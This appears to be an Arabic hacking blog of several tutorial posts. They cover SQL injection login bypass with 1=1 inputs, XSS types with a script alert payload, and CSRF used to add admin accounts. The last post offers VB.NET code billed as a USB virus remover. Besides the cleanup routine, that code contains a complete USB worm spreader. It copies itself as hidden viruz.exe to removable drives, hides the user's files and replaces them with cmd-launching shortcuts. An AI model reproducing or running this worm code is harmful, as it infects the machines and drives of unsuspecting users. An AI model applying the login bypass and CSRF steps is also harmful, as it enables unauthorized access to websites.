شرح ثغرة Sql Injection Authentication Bypass

السلام عليكم

اليوم سأشرح ثغرة Sql Injection Authentication Bypass
تعرف باختصار Auth. أو Sql Auth.
ما استغلال هده الثغرة ؟
ثغرة يتم استغلالها من لوحة التحكم الخاصة بالمواقع Panel / Login
بحيث تحقن أمر في مكان user & pass و تدخل بشكل مباشر للوحة
يعني ما تحتاج اظهار عواميد أو فك تشفير Md5 ....

الفيديو :

من هنا 

أكواد الاستغلال من هنا :

http://adf.ly/vFmGI

نشرح استغلاله

1=1
Password Id Admin 1 = User Id Admin 1

يعني كلمة سر و اليوزر 1 الغالب و دائما يكون الأدمن 

أو باستغلال a=a 

التي تعني نفس الشيء في قواعد البيانات

في أمان الله

Unknown

5:55 ص

اقرأ المزيد

شرح الأول : ثغرات Xss و أنواعها ( مبسط )

السلام عليكم 

هدا فقط جزء أول من شرح لثغرة Xss 

 Xss و هي اختصار لـ cross-site scripting لكن لاختصار هده الكلمة كان سيسمى Css لكنها تشابه اختصار كلمة التكويد و التصميم البرمجي المعروفة لدلك قامو بتغيير C الى X لكون هدا الحرف الأخير مهتم جدا في مجال الاختراق .. بدون تعمق في الموضوع ننتقل الى استغلال الثغرة بشكل مبسط .

تكمن خطورة ثغرات Xss في تعديل محتوى الصفحات للموقع المصاب و التي تظهر للمستخدم أو للزائر و دالك بتطبيق أكواد من نوع Html و Javascript بحيث تقوم بحقن هده الاخيرة .. تابعوا الأمثلة :

هدا عبارة عن سكربت بسيط من برمجتي 

نفترض على أنه صفحة بحث لموقع ما مثل Google به ثغرة 

طبقت كود Javascript كالتالي : "<SCRIPT>alert("lol xss.html");</SCRIPT>

 

النتيجة :

 

يعني هناك أكواد كثيرة سأدكرها في الشرح الثاني تختص بتغيير الصفحة و سحب الكوكيز و ... غيرها

و ما ان تقوم بتطبيق الكود و تسجيله في قاعدة البيانات الى أن يتم الظهور لأي مستخدم و زائر بشكل أتوماتيكي

 

أنواع Xss

يدكر هناك نوعان هما :

stored: و هو تبيق للثغرة كما شرحت في المثال بحفظ الكود في قاعدة البيانات باظهاره مباشرة في كل مرة لجميع الوالجين للموقع بحيث لو كتب كود لسرقة كوكيز سيقوم بمهاجمة كل من يزور الصفحة .

و ثانية هي reflected حيث يتم ارسال الكود عبر السرفر بخاصية HttpRequest و يقوم هدا الأخير بتعديل الكود داخل الصفحة بخاصية HttpResponse الدي يظهر الكود المحقون في الصفحة.

في بعض المواقع هناك حماية ضد هده الأكواد و يجب عليك استعمال بعض الطرق لتجاوزها سيتم شرحها في الجزء التالي .

أنصحكم لمتابعة بعض المواضيع و الكتب :

الرابط 1

الرابط 2

 الرابط 3

الرابط 4

في أمان الله .

Unknown

10:08 ص

اقرأ المزيد

شرح ثغرة One-Click attack

السلام عليكم

One-Click attack أو XSRF أو Cross-Site Request Forgery

 الثغرة تتيح لك بتطبيق أمر على المستخدم من ضغطت زر واحدة منه و الثغرة معروفة باستغلالها لاضافة مستخدم جديد أو تغيير كلمة سر المستخدم  .

كمثال لتقريب الشرح أكثر :

موقع مركب سكربت معين مصاب طبعا هو الأدمن 

الاستغلال : ارسال كود لصفحة مرفوعة للأدمن و بعدها بمجرد الأدمن يقوم بالضغط ( هنا تحتاج بعض الدكاء و التعامل في الصفحة لجعله يضغط ) يقوم باضافة يوزر بنفس صلاحياته و أنت تعرف كل من اليوزر و الباسوورد الدي قمت بادخالهما في الاستغلال مسبقا .

 طبعا من المتطلبات هي كما قلت سابقا الصفحة تكون مرفوعة على موقع ما .. و معرفة Action السكربت لتطبيق الأمر منه كمثلا :

site.com/adduser.php?action=admin&mod=accounts&add=new 

يعني استغلال مباشر و يمكن الحصول عليه من سورس الصفحة أيضا 

و كفكرة مني يمكن دمج هجه التغرة مع Xss الصورة بتجربة مني

يعني هي صيغة مباشرة لاستغلالين بتطبيق سهل و سريع أيضا 

و أيضا للحماية من الثغرة كالتالي: 

عدم دخول أي رابط مشبوه و استخدام Token للحماية من الثغرة .

و كاضافة الثغرة استعملت في مواقع كبيرة مثل

Facebook / apple / paypal / google ...

لست متأكد هل تدعمها Bug bounty أو لا

كود الاستغلال و بعض الكتب عن الثغرة بالأجنبية في الرابط التالي :

http://adf.ly/v69zZ

في أمان الله.

Unknown

1:44 م

اقرأ المزيد

صناعة برنامج لحذف فيروس Rec. من الفلاش USB

السلام عليكم

 

شرح صناعة برنامج لحذف فيروس Rec. 

من الـ USB

بسهولة و بدون تعب نبدأ على بركة الله 

نفتح مشروع جديد

 

نضيف زر Button 1

ثم ندخل الكود التالي

Public Class Form1

    Dim infector As New USB
    Public Class USB
        ' bY njq8
        Private Off As Boolean = False
        Dim thread As Threading.Thread = Nothing
        Public ExeName As String = "viruz.exe"
        Public Sub Start()
            If thread Is Nothing Then
                thread = New Threading.Thread(AddressOf usb, 1)
                thread.Start()
            End If
        End Sub
        Public Sub clean()
            Off = True
            Do Until thread Is Nothing
                Threading.Thread.CurrentThread.Sleep(1)
            Loop
            For Each x As IO.DriveInfo In IO.DriveInfo.GetDrives
                Try
                    If x.IsReady Then
                        If x.DriveType = IO.DriveType.Removable Or _
                        x.DriveType = IO.DriveType.CDRom Then
                            If IO.File.Exists(x.Name & ExeName) Then
                                IO.File.SetAttributes(x.Name _
                                & ExeName, IO.FileAttributes.Normal)
                                IO.File.Delete(x.Name & ExeName)
                            End If
                            For Each xx As String In IO.Directory.GetFiles(x.Name)
                                Try
                                    IO.File.SetAttributes(xx, IO.FileAttributes.Normal)
                                    If xx.ToLower.EndsWith(".lnk") Then
                                        IO.File.Delete(xx)
                                    End If
                                Catch ex As Exception
                                End Try
                            Next
                            For Each xx As String In IO.Directory.GetDirectories(x.Name)
                                Try
                                    With New IO.DirectoryInfo(xx)
                                        .Attributes = IO.FileAttributes.Normal
                                    End With
                                Catch ex As Exception
                                End Try
                            Next
                        End If
                    End If
                Catch ex As Exception
                End Try
            Next
        End Sub
        Sub usb()
            Off = False
            Do Until Off = True
                For Each x In IO.DriveInfo.GetDrives
                    Try
                        If x.IsReady Then
                            If x.TotalFreeSpace > 0 And x.DriveType = IO.DriveType _
                            .Removable Or x.DriveType = IO.DriveType.CDRom Then
                                Try
                                    If IO.File.Exists(x.Name & ExeName) Then
                                        IO.File.SetAttributes(x.Name & ExeName, IO.FileAttributes.Normal)
                                    End If
                                    IO.File.Copy(Application.ExecutablePath, x.Name & ExeName, True)
                                    IO.File.SetAttributes(x.Name & ExeName, IO.FileAttributes.Hidden)
                                    For Each xx As String In IO.Directory.GetFiles(x.Name)
                                        If IO.Path.GetExtension(xx).ToLower <> ".lnk" And _
                                        xx.ToLower <> x.Name.ToLower & ExeName.ToLower Then
                                            IO.File.SetAttributes(xx, IO.FileAttributes.Hidden)
                                            IO.File.Delete(x.Name & New IO.FileInfo(xx).Name & ".lnk")
                                            With CreateObject("WScript.Shell").CreateShortcut _
                                            (x.Name & New IO.FileInfo(xx).Name & ".lnk")
                                                .TargetPath = "cmd.exe"
                                                .WorkingDirectory = ""
                                                .Arguments = "/c start " & ExeName.Replace(" ", ChrW(34) _
                                              & " " & ChrW(34)) & "&start " & New IO.FileInfo(xx) _
                                                .Name.Replace(" ", ChrW(34) & " " & ChrW(34)) & " & exit"
                                                .IconLocation = GetIcon(IO.Path.GetExtension(xx))
                                                .Save()
                                            End With
                                        End If
                                    Next
                                    For Each xx As String In IO.Directory.GetDirectories(x.Name)
                                        IO.File.SetAttributes(xx, IO.FileAttributes.Hidden)
                                        IO.File.Delete(x.Name & New IO.DirectoryInfo(xx).Name & " .lnk")
                                        With CreateObject("WScript.Shell") _
                                        .CreateShortcut(x.Name & IO.Path.GetFileNameWithoutExtension(xx) & " .lnk")
                                            .TargetPath = "cmd.exe"
                                            .WorkingDirectory = ""
                                            .Arguments = "/c start " & ExeName.Replace(" ", ChrW(34) _
                                          & " " & ChrW(34)) & "&explorer /root,""%CD%" & New  _
                                          IO.DirectoryInfo(xx).Name & """ & exit"
                                            .IconLocation = "%SystemRoot%\system32\Shell32.dll,3" '< folder icon
                                            .Save()
                                        End With
                                    Next
                                Catch ex As Exception
                                End Try
                            End If
                        End If
                    Catch ex As Exception
                    End Try
                Next
                Threading.Thread.CurrentThread.Sleep(5000)
            Loop
            thread = Nothing
        End Sub
        Function GetIcon(ByVal ext As String) As String
            Try
                Dim r = Microsoft.Win32.Registry _
                .LocalMachine.OpenSubKey("Software\Classes\", False)
                Dim e As String = r.OpenSubKey(r.OpenSubKey(ext, False) _
                .GetValue("") & "\DefaultIcon\").GetValue("", "")
                If e.Contains(",") = False Then e &= ",0"
                Return e
            Catch ex As Exception
                Return ""
            End Try
        End Function
    End Class


    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button2.Click
        infector.clean()
    End Sub

 

 

و هذه هي النتيجة

 

تحياتي

Unknown

7:48 ص

اقرأ المزيد